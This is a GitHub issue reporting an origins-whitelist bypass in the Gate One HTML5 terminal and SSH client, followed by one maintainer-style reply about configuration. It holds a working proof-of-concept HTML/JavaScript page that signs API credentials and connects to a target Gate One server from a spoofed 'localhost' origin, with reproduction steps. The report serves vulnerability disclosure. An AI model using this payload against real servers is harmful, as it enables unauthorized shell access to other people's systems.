liftoff / GateOne

Gate One is an HTML5-powered terminal emulator and SSH client
http://liftoffsoftware.com/Products/GateOne
Other
6.26k stars 925 forks source link

Gate One Whitelist Bypass #728

Open Zh3-H4ck opened 5 years ago

Zh3-H4ck commented 5 years ago

There is a configuration item ”origins”:[“127.0.0.1”,”localhost”] in file server.conf of Gate One. When the authenticate method is ”auth”:”api” , only the host which is in the list of origins can access to the gateone host. If not, the gateone will return “The authentication object was denied by the server. Click OK to reload the page” to the host which are not in origins list.

Vulnerability description:

The vulnerability allows the attacker bypass the origins list and connect to gateone used by the hosts which are not in origins list. The cause of issue is due to the drawback of verifying origins. When the attacker user localhost to access Gate One, Gate One recognize it as “localhost” instead of the real IP of attacker. Thus the attacker can pretend to be the “localhost” to bypass the method of Verifying Origins list.

Vulnerability reproduce:

Environment: 

Steps:

  1. Make http service in the attack host A, and load the payload page gateone.html as followed:
<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>Title</title>  
</head>  
<body>  
<button onclick="test()">test</button>  
Attacked host 192.168.159.148:81  
  
<div id="gateone_container" style="width:60em;height: 30em">  
  <div id="gateone"></div>  
</div>  
  
</body>  
</html>  
<script src="http://192.168.159.148:81/static/gateone.js"></script>  
<script src="./jquery-3.3.1.min.js"></script>  
<script src="./CryptoJS.js"></script>  
<script type="text/javascript">  
function test(){  
    var upn = "gateone";   
    var key = "NmXXXXXXZTVlMTNiNDAwYXXXXXXhNmE0OWE4YzNiNTYzZ";   
    var secret = "ZDXXXXXXYjlmOWIzNGXXXXXYzk4ODc0OTc4Zjk1MTQ5Z";  
    var timestamp=  Date.parse(new Date());   
    var body = key + upn + timestamp;  
    var sha1_result=CryptoJS.HmacSHA1(body,secret);  
   
    var auth = {  
        'api_key': key,  
        'upn':upn,  
        'timestamp': timestamp,  
        'signature': sha1_result.toString(),  
        'signature_method': 'HMAC-SHA1',  
        'api_version': '1.0'  
    }  
    console.log(auth);  
    GateOne.init({  
        auth: auth,  
        url: 'http://192.168.159.148:81',  
        goDiv: '#gateone',  
    });  
     GateOne.Net.autoConnect();   
  
}  </script>
  1. Access the page by URL “localhost:8000/gateone.html” in the attack host A, the response is as followed:

image

  1. To make sure the attacker has tried to access the Gate One server, check the gateone log in the attacked host B, the result is as followed:

image

It proves that Gate One not recorded the real IP address of attack host A(192.168.159.1) instead of “localhost:8080“ when the service verifies the “Origin”.

  1. Change http service port 8080 to 80 on attack host A

  2. Access the page by URL “localhost/gateone.html” in the attack host A, the response is as followed:

image

It means the attack host A has connect to the Gate One successfully.

  1. Check logs of Gate One, the attack host A 192.168.159.1 established a connection with the attacked host:

image

fengjian1993 commented 5 years ago

you should add localhost:8000 to 10server.conf in line origins